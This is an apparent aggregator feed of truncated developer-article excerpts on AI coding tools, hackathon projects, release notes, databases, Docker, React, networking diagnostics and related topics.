    Picture this: you're coding at 2 AM (as usual), stuck on some gnarly bug, when suddenly your editor pipes up with "Hey, want me to refactor this entire file and run the tests for you?" Welcome to 2025, where AI coding assistants have evolved from fancy autocomplete to full blown digital teammates. Windsurf, Cursor, Kiro, Claude Code, and Trae. Each has its own personality, and trust me, picking the wrong one is like choosing the wrong programming language for a project - technically possible, but you'll hate your life. Windsurf – A VS Code fork from Codeium. Its Cascade agent doesn’t just spit out code; it thinks, plans, then edits, making it ideal for teams wrangling huge monorepos. Expect to pay around $15 per month. Cursor – The speed demon of the bunch. Blazing-fast Tab completion se…  ( 6 min )
    Puppet Core 8.14 Released with Critical Security Patches and AI-powered Doc Search
    The latest update of Puppet Core is now out with release 8.14.0! One of the big advantages of Puppet Core is the approach to hardening releases to reduce customer risk. This release enhances the platform with AI-powered search in the documentation and further secures Puppet Core's hardened binaries through critical component updates and CVE patches. You can now ask questions directly from the Puppet Core documentation main page, thanks to a new AI-powered search tool. This enhancement helps you find answers faster, with responses that combine content from the current product documentation and the Perforce knowledge base. Key dependencies have been updated to address multiple CVEs and improve overall hardening: net-imap upgraded to v0.3.9: Addresses CVE-2025-43857 curl upgraded to v8.14.1: Addresses CVE-2025-5025, CVE-2025-4947, and CVE-2025-5399 libxml2 upgraded to v2.14.5: Addresses CVE-2025-6021, CVE-2025-49794, CVE-2025-49795, CVE-2025-49796, and CVE-2025-6170 Fixed recursive scanning from root directory: A gemspec issue that caused Ruby to scan the entire lib directory when loading the Puppet gem from root has been resolved. This fix applies to both the puppet and facter gems. To get the official release notes from the Product team, check out the Puppet Core docs: 8.14.0 release notes  ( 3 min )
    A really good and comprehensive list of open source softwares!
    12 Open Source Alternatives to Popular Software (For Developers) Emmanuel Mumba ・ Jul 22 #opensource #programming #developer  ( 2 min )
    30 Days of Code- Day 7
    Hey everyone! Day 7 was actually fun because I finally started working on Linked Lists — and I didn’t expect to enjoy it this much! Visualizing nodes and pointers while coding gave me such a satisfying “aha!” moment. 💻 What I Did Today: Traversal (iterating through nodes) Finding the length of a linked list Searching for an element Dev: Continued reading DOM documentation, diving deeper into element manipulation and methods. Built a small project using DOM manipulation to practice what I’ve been learning. 📝 Takeaways: Building even a tiny DOM project helped me solidify concepts faster than just reading docs.  ( 3 min )
    ToDo Today - After the Hack
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. Part 1, about the project: https://dev.to/lumo1987/todo-today-one-prompt-challenge-406e Real productivity needs just enough structure to guide action, but not so much it becomes a chore. A system with goals, habits, and daily flow can be simple and powerful — especially with thoughtful UX. Launch on a real domain with public access Add AI-powered task breakdowns and goal blueprints Expand habit tracking with streaks and challenges Add negative habits destruction Integrate account system with Firebase for sync Add mobile PWA and post-hackathon monetization (e.g., RevenueCat) ... use more prompts to polish the app! https://todotoday-1prompt-demo.netlify.app  ( 3 min )
    Video - Using WebForms Core in Razor Pages
    We previously created an article titled "Using WebForms Core in Razor Pages"; Now we've created a video tutorial for this article. In this video, we will teach you how to use WebForms Core technology in Razor Pages.  ( 3 min )
    ToDo Today – One Prompt Challenge!
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. I wanted a productivity tool that helps plan the day realistically — something focused, not overwhelming. Inspired by sprint planning, ToDo Today turns each day into a mission: prioritize, execute, and win. It’s built for clarity, not clutter. ToDo Today is a web-based productivity app that guides users through daily sprint planning, helps them focus with a timer, build habits, track long-term goals, and review progress over time. Clean and intuitive, it’s built for people who want to do more — without doing too much. The app is a full web experience built with React 18, TypeScript, and Tailwind CSS. I defined clear models for Tasks, Goals, Sprints, Habits, and Settings. Features include a planning wizard, task execution view, recurring task logic, offline support via localStorage, and custom user preferences — all managed with React Context and useReducer. Designing the 3-step planning wizard while keeping it flexible and intuitive was tough. Managing recurring task logic, state syncing across sprints, and keeping the UI delightful without bloat also took iteration. Micro-interactions took time but made a big difference. I built a full productivity system in one shot — from brain dump to focus mode, with sprints, habits, goals, stats, and a smooth UI. No filler. Just focused execution. Real productivity needs just enough structure to guide action, but not so much it becomes a chore. A system with goals, habits, and daily flow can be simple and powerful — especially with thoughtful UX. bolt https://todotoday-1prompt-demo.netlify.app  ( 3 min )
    The Descent Is Harder Than the Climb: Lessons in Leadership from Mt. Fuji
    In 2017, I climbed Mt. Fuji in sneakers. This was not a deliberate choice to increase the challenge—it was the result of excellent research and poor judgment about what that research actually meant. Everything I'd read suggested that Mt. Fuji was the "cakewalk of mountain climbing." Physically, the hardest portions amounted to scrambling over some big boulders. Most of the climb was no more taxing than hiking or climbing stairs. Japanese folks in their eighties made the journey for spiritual reasons. There were huts along the way for rest, food, and water. Based on this research, I concluded that sneakers would be perfectly adequate. The ascent was everything I'd been promised. I experienced sights I'd never imagined—cities glowing through breaks in clouds from above, walking through path…  ( 7 min )
    VibeBridge: Building with Bolt - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. VibeBridge - VibeBridge is an emotional AI companion app — a place where users can chat, share their thoughts, and receive empathetic responses Team Members: X Quý, Cuong Vuong Project URL: https://devpost.com/software/vibebridge Our experience building VibeBridge during the World's Largest Hackathon was transformative, particularly with Bolt.new as our development companion. The project leveraged modern web technologies and AI-powered development tools. Bolt.new revolutionized our development process by: Rapid Prototyping: Bolt enabled us to quickly translate our ideas into functional code AI-Assisted Development: The intelligent code suggestions accelerated our development velocity Real-time Co…  ( 4 min )
    How We Built Cresca: AI-Native Email Marketing That Actually Works
    The Problem: Email Marketing Tools Feel Like 2012 Our Thesis: Email Shouldn't Take Hours You could generate a campaign with a single prompt? AI could understand your product and brand voice? You could automate design, copy, subject lines, and insights? You spent less time building and more time growing? That's the DNA of Cresca. What Cresca Does 🪄 AI Campaign Generator - Describe your idea. Cresca writes the email, subject line, CTA, and even designs the layout. 📈 Real-Time Insights - Opens, clicks, conversions, and recommendations in plain English. ⚡ Smart Automation - From sending sequences to follow-ups, we handle it. 🧠 Brand Memory - Cresca learns your voice, product, and audience. We call it: "Smarter marketing. Less guesswork." No template library bloat. No manual segment juggling. No painful A/B testing setup. Instead: Prompt → Campaign → Growth Our Traction (So Far) Early users are sending 4x faster. Engagement rates up by 37% vs legacy tools. Growing organically through X, IndieHackers, Reddit, and product demos. What's Next? Team-based collaboration Shopify & Webflow integrations Deeper product onboarding flow And more LLM tuning Want to Try It? Let's Talk Got feedback? DM me on X [@yourhandle] Want to integrate Cresca with your stack? Let's chat. Investor or advisor? We're building in public - and fast. ✨ TL;DR Cresca = Email campaigns in seconds. AI-native. Built for speed. Try it free → cresca.xyz 💬 Call to Action (at the bottom of blog posts) If you found this interesting, share it with a founder, growth marketer, or SaaS team. Or post your thoughts below - always open to feedback, ideas, and beta testers. 🚀  ( 4 min )
    Not Sure What Therapy’s Right for You? There’s a Quiz for That | MindFLTR
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. Therapy is not a one-size-fits-all, and it never has been. The therapeutic process isn’t just about which modality you use, but who you do it with, and how it’s delivered. The relationship between client and therapist can shape the entire outcome. Fit matters. Timing matters. So does trust. In the UK especially, when someone tells their GP they’re struggling with anxiety or depression, the most common referral is for CBT. Now, CBT is an incredibly effective and well-researched approach, but it’s not right for all people and all problems, all the time. And even within CBT, there are many different forms and adaptations. When it’s offered in a rigid, one-size-fits-all way, it can feel invalidating or …  ( 6 min )
    How I Built an AI Email Platform as a Solo Founder (Cresca Behind the Scenes)
    Like many founders, I was frustrated by how long it took to write, design, and send emails. Here’s how I went from idea → product → live launch in just a few months. The Problem Even with modern tools, sending email campaigns felt broken: Too manual Too time-consuming Not built for solo makers or small teams I wanted to fix that. The Stack Frontend: Next.js, Tailwind, Framer Motion Backend: Node.js, MongoDB, BullMQ for queues AI Layer: OpenAI + prompt engineering Infra: AWS + Upstash Redis Features I Prioritized Email generation via prompt Campaign scheduling + analytics Lightweight UI — fast and clean Instant test sends Lessons Learned Launch early, improve fast Talk to users, not just code Simplicity beats feature bloat Feedback is gold — Reddit, Twitter, IndieHackers helped shape v1 Want to try it? https://cresca.xyz  ( 3 min )
    Build with Veo 3, now available in the Gemini API
    We're bringing Veo 3 to developers in paid preview via the Gemini API and Vertex AI. First unveiled at Google I/O 2025, people around the world have already generated tens of millions of high-quality videos with Veo 3 (along with some new fun and interesting video trends). It is our first video model to incorporate high-fidelity video outputs and native audio, first with text-to-video and soon with image-to-video. Developers are already experimenting with Veo 3, discovering how the model can help them brainstorm content, rapidly iterate, and be more efficient. Cartwheel developed a system that can take 2D videos of humans and translate it into fully production ready 3D animation on rigged characters. Cartwheel uses Veo 3 to generate realistic, fluid human actions that Cartwheel can t…  ( 5 min )
    The Rise of Agents: Navigating the Future of Work in an Automated World
    The Rise of Agents: Navigating the Future of Work in an Automated World In recent years, we have witnessed the meteoric rise of agents in various industries, from virtual assistants to AI-driven customer service representatives. As technology continues to evolve, these agents are becoming more sophisticated, allowing businesses to streamline operations and enhance customer experiences. But what does this mean for traditional job roles and the future of work? In this blog, we will dissect the implications, benefits, and potential drawbacks of this transformation, while also looking at the future work landscape shaped by AI and automation. The driving force behind the rise of agents is undoubtedly the advancements in artificial intelligence (AI). AI-powered agents can process vast amounts …  ( 5 min )
    The Flame to Conquer, The Desire to Create: Using Kiro IDE to Turn Mathematical Infinity into a Video Game
    Hey dev.to community! 👋 There's a famous saying: "Mathematics is the alphabet with which the universe was written." This idea has always captivated me. It made me wonder: what if we used that alphabet to play, to compete, and to master its most powerful "words"? For this hackathon, I don't just want to code an app. I want to tackle a monster: abstraction. My goal is to turn one of math's most mind-bending concepts—the different sizes of infinity—into a tangible, strategic, and above all... addictive card game mechanic. ** Imagine a duel that starts conventionally, with finite-value cards. The strategies feel familiar. Then, a player manages to do the unthinkable: they summon ℵ₀ (Aleph-zero)—the first infinity—onto the field. This is the game's "WOW" moment. Suddenly, all "finite" attacks …  ( 4 min )
    Solving Authentication Headaches: How WSO2 Identity Server Simplifies Single Sign-On (SSO)
    ` Imagine you're using five different internal systems at work — your HR portal, email, project management tools, and finance dashboard — and each one requires a separate login. Frustrating, right? This is where Single Sign-On (SSO) becomes a lifesaver. And when it comes to enterprise-grade SSO, WSO2 Identity Server (IS) is one of the most powerful tools in the IAM (Identity and Access Management) ecosystem. In this post, I’ll walk you through how WSO2 Identity Server enables SSO, the problems it solves, and why it’s a great choice for modern organizations. In today’s digital landscape, organizations rely on multiple apps and services. Without a centralized identity solution: Users face multiple logins, causing frustration. IT teams struggle with user provisioning and password management. …  ( 4 min )
    HQ Dashboard: A Modern Intranet for the DEV x Axero Challenge
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space What I Built My vision for this project was to create a clean, modern, and user-centric intranet homepage. I wanted to build more than just a static page; the goal was a dynamic hub that enhances both productivity and team culture. The layout is a responsive grid that looks great on all screen sizes, starting with a personalized welcome message for the user. The dashboard is packed with features that make it a true digital workspace: Team Directory: A searchable list of all team members. The search filters the list in real-time as you type. A "Details" button smoothly reveals more information about each person. Company Goals (OKRs): To keep everyone aligned, this widge…  ( 4 min )
    Claude Code Tip: Game changer: Ask Claude Code ...
    Game changer: Ask Claude Code to "write tests for this function including edge cases". Got 20 test cases I never would have thought of. What's your favorite Claude Code tip? claudecode #ai #productivity  ( 3 min )
    Next.js real-time video streaming: HLS.js and alternatives
    Written by Jude Miracle✏️ Real-time video streaming is essential for modern web applications. It supports activities like live broadcasting, video conferencing, and media interaction. For developers using Next.js, finding a reliable streaming solution is important for creating smooth user experiences. One popular choice is HLS.js, a JavaScript library that enables adaptive bitrate streaming using HTTP Live Streaming (HLS) directly in the browser. In this article, we will show you how to set up real-time video streaming in Next.js using HLS.js. You'll learn about integration and advanced features like adaptive streaming and token-based authentication. We will also compare HLS.js with other open source options to help you pick the best solution based on cost, latency, features, and scalabi…  ( 20 min )
    Variable, Immutability, And Garbage Collection
    Table of Contents Binding - Creating Variables In Imperative Languages: A Refillable Box In Elixir: A Sealed Box Type Inference Trailing Question Mark and Exclamation Mark Rebinding - Updating Variable Values Memory Management in Elixir References In Elixir, we can assign a name to store a value, similar to how variables work in other programming languages. However, the concept of "variables" in Elixir is fundamentally different from those in imperative languages like Python or JavaScript. What we actually do in Elixir is not storing a value in a mutable container, but associating a name with a specific value. This process is called binding. Let’s first look at how variables work in a language like Python: >>> monthly_salary = 5_000_000 >>> monthly_salary = 6_000_000 Here, we can …  ( 6 min )
    Lock-Free Wait-on-Conflict and Fail-on-Conflict in MongoDB
    Concurrency control in databases has two main modes for handling conflicts. Traditionally, these are labeled "pessimistic" and "optimistic," but those names can be misleading. Let’s define them by what actually happens from a user point of view: Wait-on-Conflict: the operation blocks until the conflict is resolved, typically waiting for a concurrent transaction to either commit or abort and release its locks. For most Online Transaction Processing (OLTP) workloads, this process is usually quick, unless a long-running transaction is blocking progress or there is a deadlock in which two transactions are waiting on each other. Fail-on-Conflict: Instead of waiting, the operation immediately raises an error to the application. Now it’s up to the application to decide: retry after a short pause …  ( 9 min )
    From Junior to Confident Frontend Developer: Lessons from My Angular & React Journey
    As a junior frontend developer, navigating the ecosystem of modern web development can feel like entering a labyrinth. When I started with Angular and React, I was overwhelmed—frameworks, state management, component hierarchies, performance optimizations, testing—it was a lot to take in. But a few hard-earned lessons made all the difference. Today, I want to share the top lessons I’ve learned that helped me go from copying tutorials to building real-world apps with confidence. I used to rush into frameworks, but things only started to make sense when I circled back to JavaScript fundamentals. Knowing how the DOM, event bubbling, closures, and asynchronous JS work saved me from many bugs. For example: // Before: Trouble understanding closures function createCounter() { let count = 0; re…  ( 4 min )
    Build a Spotify Desk Widget with Raspberry Pi and e-Paper Display
    If you're a music lover and a tech tinkerer, here's a fun weekend project—building a custom Spotify desk widget using a Raspberry Pi and a 2.7-inch Waveshare e-Paper display. The idea is simple: every time a new song plays on Spotify, your e-Paper display automatically updates with the track title, artist, and album cover. This is made possible using Home Assistant, Python, and a few smart triggers. Here’s how it works: Home Assistant detects a change in the media player (Spotify), then fires a webhook to your Raspberry Pi. The Pi runs a Python script that pulls song data from Home Assistant’s API, generates a custom image using the PIL library, and displays it on the e-Paper screen. You can also fetch other data like weather to make your widget even more informative. This setup combines smart home automation and coding creativity—perfect for DIY fans. Not only does it save time from constantly checking your app, but it also looks sleek on your desk!  ( 3 min )
    You have a clarity problem.
    If your team needs 4 meetings to align on 1 thing… More Zoom calls ≠ more clarity. In fact, the teams I’ve seen collaborate best are the ones that talk less but still move in sync. Because they’ve built systems for clarity that don’t rely on real-time nudges. Clear decision trails Shared context that lives outside people’s heads Async ways to flag blockers and trade-offs The rest? Just noise with a calendar invite. The irony is: Needing more meetings is often the clearest sign you’re not actually aligned. More meetings won’t save you.  ( 3 min )
    Docker Volumes Explained with docker-compose
    Hi there! I'm Maneshwar. Right now, I’m building LiveAPI, a first-of-its-kind tool that helps you automatically index API endpoints across all your repositories. LiveAPI makes it easier to discover, understand, and interact with APIs in large infrastructures. When working with containers, managing data is just as important as running the app. Docker offers multiple ways to handle data persistence and sharing—volumes. Let’s break down the different types of volumes and how to use them with docker-compose. Docker manages these under /var/lib/docker/volumes. You define and reference them by name. version: '3.8' services: db: image: postgres:15 volumes: - pgdata:/var/lib/postgresql/data volumes: pgdata: Volume pgdata will persist even if the container is removed. It can b…  ( 4 min )
    Redux From the Ground Up (Elementary to Advanced)"
    Hi there! I'm Shrijith Venkatrama, founder of Hexmos. Right now, I’m building LiveAPI, a first of its kind tool for helping you automatically index API endpoints across all your repositories. LiveAPI helps you discover, understand and use APIs in large tech infrastructures with ease. Redux is a predictable state management library for JavaScript apps, especially React. It’s powerful but can feel like a maze for beginners and even seasoned devs. This guide walks you through Redux from the ground up—starting with the basics and scaling to advanced patterns. We’ll keep it hands-on with examples you can actually run. Let’s dive in. State management in JavaScript apps can get messy. Imagine a React app where components need to share data—like user info or a shopping cart. Passing props down mul…  ( 8 min )
    Tracing the Internet — Part 1: ICMP, TTL, Ping & Tracert
    When your internet connection is slow or a device isn’t responding, most people run to familiar tools like ping, tracert or ipconfig. These are basic network diagnostics tools on Windows, but they are powerful tools despite their simplicity with command line interfaces. Before we get into using these tools, it’s essential to know some facts about Internet Control Message Protocol & Time to Live. The Internet Control Message Protocol is one of the protocols that operates at the Network Layer of the OSI model. Its primary use being to issue out if data transmission process — between two or more devices — is getting its destination and at the right time. If something goes wrong — like a packet can’t reach its destination, or takes too long — ICMP lets the sender know so the data can be resent…  ( 7 min )
    How to Write Effective Comments in JavaScript Code
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    Cross-Platform Web Development Without Compromise(5445)
    GitHub Homepage: https://github.com/eastspire/hyperlane As a computer science student working on cross-platform projects, I've always been frustrated by the compromises required when targeting multiple operating systems. My experience developing web services that needed to run seamlessly across Windows, Linux, and macOS led me to discover an approach that eliminates platform-specific code while maintaining native performance on all systems. The challenge became apparent during a group project where our team needed to deploy the same web service across heterogeneous infrastructure. Our initial Node.js implementation worked but suffered from platform-specific performance variations and deployment complexities. This experience motivated me to explore alternatives that could deliver consistent…  ( 6 min )
    I Used BrainSim-X v4.2.7 for 3 Months - Here's What Actually Happened
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    How Building a SaaS Reseller App Can Scale Your Side Projects
    Side projects often begin with energy, ideas, and late nights, but without structure, they eventually stall. The excitement wears off when momentum disappears, and you spend more time maintaining than building.  Growth only begins when your side project evolves into something that functions like a system. Turning your idea into a Software-as-a-Service (SaaS) product shifts the focus from doing everything manually to creating something repeatable. A reseller app is one of the clearest paths to scale if your audience needs tools to sell, track, or manage services. It gives your users a way to act, not just read or watch. Instead of relying on content, you are creating infrastructure.  That change in direction gives your project staying power without forcing you to increase your workload ever…  ( 5 min )
    5 Signs Your Development Team Needs Better Staging Coordination
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    🚀 Modern Auth System with Next.js, MongoDB, TypeScript & Mailtrap – Open Source & Deployed!
    Hey devs! 👋 I’m thrilled to share my latest project: a full-stack authentication system built with the latest web technologies. If you’re looking for a robust, secure, and beautifully designed auth boilerplate for your next SaaS, side project, or just want to learn modern auth flows—this is for you! 🛠️ Tech Stack ✨ Features 🚦 Getting Started https://github.com/aayush130405/nextjs-auth.git Install dependencies: yarn install Set up environment variables: Run locally: http://localhost:3000 and try it out! 🌍 Live Demo 📚 Well-Documented https://github.com/aayush130405/nextjs-auth). Whether you’re a beginner or a seasoned dev, you’ll find it easy to follow and extend. 🤝 Contribute & Feedback 💡 Why This Project? 🔗 Links https://github.com/aayush130405/nextjs-auth Thanks for reading! Would love your feedback, suggestions, and contributions. Happy coding! 🚀 nextjs #typescript #mongodb #mailtrap #webdev #opensource #authentication #vercel  ( 4 min )
    🗓️ If Your Architecture Doesn’t Shape Execution, It’s Just Diagrams
    Welcome back. We’ve already covered how to define your project’s Vision and how to link architecture to real business needs. Now it’s time to bring it all down to earth—into action, into delivery. That’s where the third column of the Architecture Work Canvas comes in: Work Packages & Execution. Because here’s the reality: even with strong alignment, clear goals, and solid business logic, architecture often breaks down when teams try to deliver. Things stall. Priorities get lost. Everyone’s waiting for someone else to decide what comes next. Without a roadmap—even a lightweight one—architecture stays stuck in theory. The Work Packages & Execution column is built to fix that. It helps teams sketch out an early plan using three simple building blocks: Phases, Work Packages, and Milestones & …  ( 5 min )
    Smart Contract Gotchas: What I Wish I Knew Before Auditing Solidity Code
    Smart contracts look simple. A few lines of Solidity, some fancy modifiers, a deploy button and you’re live. Except you’re not. Because what seems like a tiny bug in your code could become a $1M exploit. And once it’s on-chain, you can’t just patch it on Friday and ship a hotfix. So, if you’re about to audit your first smart contract or you think your test suite has your back - here’s what I wish someone told me earlier. 🔹 Don’t Trust the Modifiers Common mistake: Using multiple modifiers (onlyOwner, nonReentrant, etc.) and assuming they execute in a predictable order. Tip: Flatten your control logic when auditing. Don’t just look at the function signature, follow the full execution chain. 🔹 Overflows Are Mostly Gone - But Underflows Still Bite Case: A staking contract calculated user re…  ( 4 min )
    Server-Side Events Implementation for Real-Time Applications(8587)
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    🔄 Just published a new article on enhancing CLI experiences! 🚀 I recently worked on an interesting UX challenge in the JHipster Lite CLI: users were left staring at blank screens during operations, unsure if things were working or frozen. 🤔
    Adding a Loading Animation to JHipster Lite CLI Renan Franca ・ Jul 22 #java #programming #tutorial #opensource  ( 3 min )
    Stamp Signatures Made Easy: Sign DOCX Files in Java with Cloud REST API
    Stamp signatures are essential for authenticating documents, particularly for digitally processed Word documents such as DOCX files. They provide a clear and legally valid method for confirming the origin, endorsement, or status of a document. For Java developers creating document management applications or workflow automation tools, having an effective way to programmatically apply stamp signatures can be a significant benefit. In our recent article, we guide you on how to incorporate stamp signatures into DOCX files using the GroupDocs.Signature Cloud Java SDK. With just a few straightforward REST API calls, you can embed cloud-based document signing directly into your Java applications. This eliminates the reliance on large desktop applications or manual processes, enhancing the scalabi…  ( 4 min )
    WWDC25: Meet Containerization | Apple
    A post by mehdi  ( 2 min )
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    By Muhammed Shafin P (@hejhdiss) In modern cybersecurity, most antivirus products claim to offer complete protection. However, many fail to address one of the most critical areas: deep network-level vulnerability scanning. Rather than building limited internal scanners, integrating existing tools like Nmap can significantly enhance security coverage. This article presents one sample case using Nmap for internet/network-level detection, but similar concepts apply across other layers of security as well. Most antivirus software: focuses on file-based malware detection performs limited or superficial vulnerability checks offers basic network alerts without full detail does not scan all ports or detect service versions lacks OS fingerprinting and deep inspection This results in weak security c…  ( 4 min )
    Building a CRM with AWS SAM, part 2: Creating a contact
    In the previous post we stood up a basic /ping health‑check endpoint to confirm our SAM project was wired correctly. Today we will build our first real piece of CRM functionality: a POST /contacts endpoint that stores a contact record in Amazon DynamoDB, now powered by AWS Lambda Powertools for structured logging, tracing, and metrics. Request POST /contacts { "email": "jane.doe@example.com", // required "name": "Jane Doe", // optional "phone": "+11234567890", // optional } Response 201 Created { "id": "c8a5c3d1-2bfe-45d0-b7e3-6d1fb25ce9a7", "email": "jane.doe@example.com", "name": "Jane Doe", "phone": "+11234567890", "created_at": 1721340000, "updated_at": 1721340000 } We return the full record, including generated fields such as id, created_…  ( 6 min )
    Kubernetes + FinOps = OpenCost 🔍💰
    OpenCost is an open-source-based CNCF project that provides "real-time cost monitoring of Multi-Cluster & Cloud for Kubernetes. Key Features of OpenCost Real-time cost allocation by cluster, node, namespace, pod, service, and more Multi-cloud cost monitoring for AWS, Azure, and GCP Dynamic Kubernetes asset pricing via cloud billing API integrations Supports on-prem Kubernetes clusters with custom pricing models In-cluster resource allocation (CPU, GPU, memory, persistent volumes) Prometheus integration for cost data export Carbon cost tracking for cloud resources Support for external costs (e.g., Datadog) through OpenCost Plugins Fully open-source under an Apache 2.0 license OpenCost addresses this need as an open-source tool designed to make Kubernetes cost management more accessible and standardized. It’s currently being used by all hyperscalers with native API directly getting their publicly available Price Lists.  ( 3 min )
    Navigating the React Ecosystem in 2025: Trends, Technologies, and Best Practices
    As a React developer in 2025, you're part of a vibrant and ever-evolving ecosystem. React remains a cornerstone of modern web development, powering dynamic user interfaces for millions of applications. Whether you're building your first app (like the one in your recent lesson with App.js and TestComponent.js) or scaling complex projects, staying updated on industry trends, embracing innovative tools, and following best practices is crucial. In this blog, we'll explore the latest in the React world, from cutting-edge technologies to actionable tips for writing cleaner, more efficient code. 1. React 18 and Concurrent Rendering React 18, released in 2022, continues to shape how developers build applications. Its concurrent rendering features, like the useTransition and useDeferredValue hooks,…  ( 6 min )
    Introducing AI For Developers Project: The Home for AI-Powered Development
    Less than a month ago, I launched a simple GitHub repo: Awesome AI Coding Tools. It was meant to be a personal list of tools that were helping me write and ship code faster using AI. I didn't expect much traction --- but within just a few weeks, the project hit 400+ stars and started gaining serious attention from the dev community. That momentum sparked a bigger idea: 👉 I'm building AI For Developers, a full website and resource hub for developers who want to explore, use, and build with AI tools. Zoom image will be displayed We're living through a shift in how software is written. With tools like GPT-4, GitHub Copilot, and a wave of new open-source copilots, the developer experience is evolving fast. Zoom image will be displayed AI For Developers is here to: Curate the best AI tools for devs Help you stay ahead of the curve Showcase projects, ideas, and experiments Build a strong, global dev community What started as an awesome list is now becoming something bigger --- a central place for all things AI + dev. Follow AI For Developers and join the conversation: GitHub: Awesome AI Coding Tools X (Twitter): @ai4developers LinkedIn: AI For Developers X Community: Join here Let's build the future of software together.\ aifordevelopers.org 👨‍💻️✨  ( 3 min )
    NoChill.AI – Built During Exams, Celebrated With a Community
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. Some projects are built with planning. Others are built with panic, pressure, and memes. NoChill.AI? Definitely the second one. I built NoChill.AI solo during WLH, right in the middle of semester exams. Between cram sessions and late‑night coding, I simply wanted to create something fun. The moment my chatbot fired its first roast—“Still up at 3 AM? Really?”—I knew I’d crafted more than code. I’d made an experience that shows up, even when real friends can’t. I demoed NoChill.AI at a Code for India community meetup. Watching a room full of devs and students burst into laughter as the bot roasted volunteers was surreal. That instant feedback—real human laughter—made every all‑nighter worth it. While I didn’t dive deep into Bolt’s feature set, the Bolt Discord kept me motivated. Seeing others’ creative builds reminded me that even wild ideas belong in the hackathon. Collaboration with yourself: Balancing exams and solo coding taught me to prioritize and adapt on the fly. Fun has value: Not every AI needs to be serious—sometimes amusement is its own impact. Personal payoff: Building for myself—rather than a client—rekindled my love for pure creativity. Code for India for the welcoming demo stage The Bolt Discord community for inspiration Everyone who volunteered to get roasted (and survived) NoChill.AI may never be VC‑backed, but it delivered real‑world laughs, genuine community moments, and the simple joy of building something just for fun. That’s NoChill.AI: Built under pressure. Launched with laughter.  ( 3 min )
    Smart Assistive Glass using OCR and Raspberry Pi
    Smart Glass for Visually Impaired 🔧 Tech Stack Hardware: Raspberry Pi, Pi Camera Software: Python, OpenCV, Tesseract OCR, pyttsx3 🎯 Features Real-time image capture Optical Character Recognition (OCR) Offline text-to-speech conversion Portable, wearable design  ( 3 min )
    Therapy Discovery Needed a Reboot. So I Built A Solution With Bolt.
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. You’ve probably come across the love languages quiz. MindFLTR: Building a Therapy Match Tool with Bolt (My First Full-Stack Build to Deployment Project) When I joined the World's Largest Hackathon, I had a simple idea: create something that helps people explore therapy in a way that feels straightforward, accessible and informed. I wanted to test an idea I’d been sitting on, something to help people understand what kind of therapy might suit them best, because therapy is not a one-size-fits-all. That idea became MindFLTR — a short quiz that gives users a sense of which types of therapy might suit them best, based on how they think, feel, and approach various scenarios in life. It…  ( 6 min )
    Using FireCrawl MCP Server with Claude for Web Scraping
    Have you ever needed to scrape data from websites? maybe for a side project, research, or just to automate some boring task? If you have, you probably know the pain: setting up scraping frameworks, writing code, dealing with endless configuration, and the wrestling against the messy unstructured data you get back. It's enough to make anyone want to throw their computer out the window. Literally me throwing my laptop on my employer’s face if MCPs weren’t there!! That's when you might have searched for tools like Firecrawl. If you haven't heard of it, Firecrawl is a tool that turns websites into structured, LLM-ready data with just a simple crawl. No more fighting with HTML parsing or weird edge cases - just write a prompt and let it do the work. But what if you could take it a step further…  ( 6 min )
    JavaScript Private Elements Trump Compile-Time Illusion
    After spending years building systems that demand true encapsulation and security boundaries, I’ve witnessed countless debates about privacy mechanisms in JavaScript. The introduction of JavaScript private elements (MDN) marked a fundamental shift in how we think about encapsulation in the language. While TypeScript’s private modifiers have served us well as training wheels, it’s time to acknowledge that JavaScript’s native private elements represent the superior approach for building robust, secure applications at scale. TypeScript’s private modifiers operate purely at compile-time. They’re suggestions, not enforcements. Once your TypeScript compiles to JavaScript, those private modifiers vanish like morning mist. Any developer with access to your runtime code can reach into your objects …  ( 7 min )
    GhostLayer - AI Text Humanization - My first app launching
    I've officially purchased a domain to launch my app: http://ghostlayer.io.vn/ This app helps humanize text so it won't be flagged as AI-generated. In other words, it transforms AI-generated content into natural, human-like writing while preserving meaning and intent. Beyond those who frequently use AI to write content, there are people who write their own content but still get incorrectly flagged by AI detection tools. This happens because they've learned writing styles from standardized tests like IELTS and TOEFL—the same sources these AI systems were trained on—leading to false positives. My app helps prevent these situations. When you search for it on Google right now, this app hasn't been indexed yet and won't show up in results since it typically takes several weeks or even months to get indexed and appear in search results, so just bookmark it first. Hopefully, one day many people will use this app. Even if it won't go viral, it'll serve as valuable experience for my other apps. I'll post a demo video later showing how it works.  ( 3 min )
    Join the Redis AI Challenge: $3,000 in Prizes!
    We are so delighted to partner with Redis for a new DEV challenge! Running through August 10, the Redis AI Challenge is all about showing how Redis can power the next generation of intelligent, real-time applications. Whether you're passionate about AI or eager to explore what Redis can do beyond caching, this challenge has a path for you. We have two prompts this challenge, giving you two chances to win from a $3,000 prize pool! Flex your creativity, build an impressive project for your portfolio, and show us what you can create with the speed and power of Redis. Build an innovative AI-powered application using Redis as your real-time data layer. We want to see you go beyond simple chatbots and explore high-impact use cases like vector search-driven recommendations, semantic caching to op…  ( 5 min )
    Building Offline Apps with Next.js and Serwist
    LocallyTools has been live for a while now. Although the product uses browser capabilities to process data locally, users kept questioning its credibility—"Are you sure my files won't be uploaded?" "How can I prove that data won't leak?" These concerns pushed me to implement complete offline functionality. The idea was simple: if the app works perfectly when disconnected from the internet, that's definitive proof that data never leaves the user's device. During implementation, I discovered the benefits went far beyond my expectations: Building User Trust: When the product works offline, it directly proves data security. Users no longer need to "trust" my promises—they can verify it themselves. Reducing Server Load: With resources cached locally, most requests hit the local cache instead of…  ( 8 min )
    🍕 Is Kimi K2 Actually Better Than Claude Sonnet 4 for Coding? ✨🤔
